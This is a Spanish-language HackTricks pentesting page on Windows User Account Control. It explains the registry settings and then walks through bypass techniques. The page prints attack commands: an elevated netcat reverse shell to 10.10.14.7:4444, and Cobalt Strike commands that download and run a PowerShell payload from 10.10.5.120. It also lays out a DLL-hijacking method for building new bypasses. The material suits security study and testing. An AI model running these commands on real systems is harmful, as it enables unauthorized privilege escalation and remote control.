# UAC - Control de Cuentas de Usuario
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Obtén acceso hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## UAC [Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una característica que permite un **prompt de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **nivel alto** puede realizar tareas que **podrían comprometer el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre se **ejecutan bajo el contexto de seguridad de una cuenta de usuario no administrador**, a menos que un administrador autorice explícitamente que estas aplicaciones/tareas tengan acceso de nivel de administrador para ejecutarse en el sistema. Es una característica de conveniencia que protege a los administradores de cambios no deseados, pero no se considera un límite de seguridad. Para obtener más información sobre los niveles de integridad: {% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} [integrity-levels.md](../windows-local-privilege-escalation/integrity-levels.md) {% endcontent-ref %} Cuando UAC está en su lugar, a un usuario administrador se le asignan 2 tokens: una clave de usuario estándar, para realizar acciones regulares como nivel regular, y otra con los privilegios de administrador. Esta [página](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/how-user-account-control-works) analiza en profundidad cómo funciona UAC e incluye el proceso de inicio de sesión, la experiencia del usuario y la arquitectura de UAC. Los administradores pueden utilizar políticas de seguridad para configurar cómo funciona UAC específicamente para su organización a nivel local (usando secpol.msc), o configuradas y distribuidas a través de Objetos de Directiva de Grupo (GPO) en un entorno de dominio de Active Directory. Los diversos ajustes se discuten en detalle [aquí](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Hay 10 ajustes de Directiva de Grupo que se pueden configurar para UAC. La siguiente tabla proporciona detalles adicionales: | Ajuste de Directiva de Grupo | Clave del Registro | Configuración predeterminada | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | | [Control de Cuentas de Usuario: Modo de aprobación de administrador para la cuenta de administrador integrada](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Deshabilitado | | [Control de Cuentas de Usuario: Permitir que las aplicaciones de UIAccess soliciten elevación sin usar el escritorio seguro](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Deshabilitado | | [Control de Cuentas de Usuario: Comportamiento del cuadro de diálogo de elevación para administradores en el modo de aprobación de administrador](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Solicitar consentimiento para binarios que no sean de Windows | | [Control de Cuentas de Usuario: Comportamiento del cuadro de diálogo de elevación para usuarios estándar](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Solicitar credenciales en el escritorio seguro | | [Control de Cuentas de Usuario: Detectar instalaciones de aplicaciones y solicitar elevación](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Habilitado (predeterminado para el hogar) Deshabilitado (predeterminado para la empresa) | | [Control de Cuentas de Usuario: Solo elevar ejecutables que estén firmados y validados](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Deshabilitado | | [Control de Cuentas de Usuario: Solo elevar aplicaciones de UIAccess que estén instaladas en ubicaciones seguras](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Habilitado | | [Control de Cuentas de Usuario: Ejecutar a todos los administradores en el modo de aprobación de administrador](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Habilitado | | [Control de Cuentas de Usuario: Cambiar al escritorio seguro al solicitar elevación](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Habilitado | | [Control de cuentas de usuario: Virtualizar errores de escritura de archivos y registros en ubicaciones por usuario](https://docs.microsoft.com/es-es/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Habilitado | ### Teoría de Bypass de UAC Algunos programas se **autoelevan automáticamente** si el **usuario pertenece** al **grupo de administradores**. Estos binarios tienen dentro de sus _**Manifiestos**_ la opción _**autoElevate**_ con el valor _**True**_. El binario también debe estar **firmado por Microsoft**. Entonces, para **bypassear** el **UAC** (elevar desde el nivel de integridad **medio** al nivel **alto**), algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un proceso de **alto nivel de integridad**. Puedes **verificar** el _**Manifiesto**_ de un binario utilizando la herramienta _**sigcheck.exe**_ de Sysinternals. Y puedes **ver** el **nivel de integridad** de los procesos utilizando _Process Explorer_ o _Process Monitor_ (de Sysinternals). ### Verificar UAC Para confirmar si UAC está habilitado, realiza lo siguiente: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` Si es **`1`**, entonces UAC está **activado**, si es **`0`** o **no existe**, entonces UAC está **inactivo**. Luego, verifica **qué nivel** está configurado: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` * Si **`0`**, entonces UAC no solicitará permisos (como **deshabilitado**) * Si **`1`**, se le pedirá al administrador que ingrese el nombre de usuario y la contraseña para ejecutar el archivo binario con altos privilegios (en el Escritorio Seguro) * Si **`2`** (**Siempre notificarme**), UAC siempre solicitará confirmación al administrador cuando intente ejecutar algo con altos privilegios (en el Escritorio Seguro) * Si **`3`**, es similar a `1` pero no es necesario en el Escritorio Seguro * Si **`4`**, es similar a `2` pero no es necesario en el Escritorio Seguro * Si **`5`** (**predeterminado**), se le pedirá al administrador que confirme la ejecución de binarios no Windows con altos privilegios Luego, debes verificar el valor de **`LocalAccountTokenFilterPolicy`**\ Si el valor es **`0`**, solo el usuario con RID 500 (**Administrador incorporado**) puede realizar tareas de administrador sin UAC, y si es `1`, **todas las cuentas dentro del grupo "Administradores"** pueden hacerlo. Y finalmente, verifica el valor de la clave **`FilterAdministratorToken`**\ Si es **`0`** (predeterminado), la cuenta de Administrador incorporada puede realizar tareas de administración remota y si es **`1`**, la cuenta de Administrador incorporada **no puede** realizar tareas de administración remota, a menos que `LocalAccountTokenFilterPolicy` esté configurado en `1`. #### Resumen * Si `EnableLUA=0` o **no existe**, **no hay UAC para nadie** * Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`**, no hay UAC para nadie * Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`**, no hay UAC para RID 500 (Administrador incorporado) * Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=1`**, UAC para todos Toda esta información se puede obtener utilizando el módulo de **metasploit**: `post/windows/gather/win_privs` También puedes verificar los grupos de tu usuario y obtener el nivel de integridad: ``` net user %username% whoami /groups | findstr Level ``` ## Bypass de UAC {% hint style="info" %} Ten en cuenta que si tienes acceso gráfico a la víctima, el bypass de UAC es sencillo, ya que simplemente puedes hacer clic en "Sí" cuando aparezca el mensaje de UAC. {% endhint %} El bypass de UAC es necesario en la siguiente situación: **el UAC está activado, tu proceso se está ejecutando en un contexto de integridad media y tu usuario pertenece al grupo de administradores**. Es importante mencionar que es **mucho más difícil eludir el UAC si está en el nivel de seguridad más alto (Always) que si está en cualquiera de los otros niveles (Default)**. ### UAC desactivado Si el UAC ya está desactivado (`ConsentPromptBehaviorAdmin` es **`0`**), puedes **ejecutar una shell inversa con privilegios de administrador** (nivel de integridad alto) utilizando algo como: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444" ``` #### Bypass de UAC con duplicación de token * [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) * [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) ### Bypass de UAC "muy" básico (acceso completo al sistema de archivos) Si tienes una shell con un usuario que está dentro del grupo de Administradores, puedes **montar el recurso compartido C$** a través de SMB (sistema de archivos) localmente en un nuevo disco y tendrás **acceso a todo dentro del sistema de archivos** (incluso la carpeta de inicio del Administrador). {% hint style="warning" %} **Parece que este truco ya no funciona** {% endhint %} ```bash net use Z: \\127.0.0.1\c$ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` ### Bypass de UAC con Cobalt Strike Las técnicas de Cobalt Strike solo funcionarán si UAC no está configurado en su nivel máximo de seguridad. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] # UAC bypass via service elevate svc-exe [listener_name] # Bypass UAC with Token Duplication runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` **Empire** y **Metasploit** también tienen varios módulos para **burlar** el **UAC**. ### KRBUACBypass Documentación y herramienta en [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) ### Exploits de bypass de UAC [**UACME**](https://github.com/hfiref0x/UACME) es una **compilación** de varios exploits de bypass de UAC. Ten en cuenta que deberás **compilar UACME usando Visual Studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), deberás saber **cuál necesitas**.\ Debes **tener cuidado** porque algunos bypasses **mostrarán alertas de otros programas** que **alertarán** al **usuario** de que algo está sucediendo. UACME tiene la **versión de compilación desde la cual cada técnica comenzó a funcionar**. Puedes buscar una técnica que afecte a tus versiones: ``` PS C:\> [environment]::OSVersion.Version Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` También, utilizando [esta](https://en.wikipedia.org/wiki/Windows\_10\_version\_history) página obtienes la versión de Windows `1607` a partir de las versiones de compilación. #### Más bypass de UAC **Todas** las técnicas utilizadas aquí para eludir UAC **requieren** una **shell interactiva completa** con la víctima (una shell nc.exe común no es suficiente). Puedes obtener una sesión de **meterpreter**. Migra a un **proceso** que tenga el valor de **Session** igual a **1**: ![](<../../.gitbook/assets/image (96).png>) (_explorer.exe_ debería funcionar) ### Bypass de UAC con GUI Si tienes acceso a una **GUI, simplemente puedes aceptar la solicitud de UAC** cuando la recibas, realmente no necesitas eludirla. Por lo tanto, si tienes acceso a una GUI, podrás eludir UAC. Además, si obtienes una sesión de GUI que alguien estaba usando (potencialmente a través de RDP), hay **herramientas que se ejecutarán como administrador** desde donde podrías ejecutar un **cmd** por ejemplo, **como administrador** directamente sin que UAC te lo solicite nuevamente, como [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Esto podría ser un poco más **sigiloso**. ### Bypass de UAC ruidoso por fuerza bruta Si no te importa ser ruidoso, siempre puedes **ejecutar algo como** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) que **solicita elevar los permisos hasta que el usuario los acepte**. ### Tu propio bypass - Metodología básica de bypass de UAC Si echas un vistazo a **UACME**, notarás que **la mayoría de los bypass de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo la dll maliciosa en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking.md). 1. Encuentra un binario que se **autoeleve** (verifica que cuando se ejecute, se ejecute con un nivel de integridad alto). 2. Con procmon, encuentra eventos de "**NAME NOT FOUND**" que puedan ser vulnerables a **Dll Hijacking**. 3. Probablemente necesitarás **escribir** la DLL dentro de algunas **rutas protegidas** (como C:\Windows\System32) donde no tienes permisos de escritura. Puedes eludir esto utilizando: 1. **wusa.exe**: Windows 7, 8 y 8.1. Permite extraer el contenido de un archivo CAB dentro de rutas protegidas (porque esta herramienta se ejecuta con un nivel de integridad alto). 2. **IFileOperation**: Windows 10. 4. Prepara un **script** para copiar tu DLL dentro de la ruta protegida y ejecutar el binario vulnerable y autoelevado. ### Otra técnica de bypass de UAC Consiste en observar si un binario **autoelevado** intenta **leer** del **registro** el **nombre/ruta** de un **binario** o **comando** a ser **ejecutado** (esto es más interesante si el binario busca esta información dentro de **HKCU**).
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Obtén acceso hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).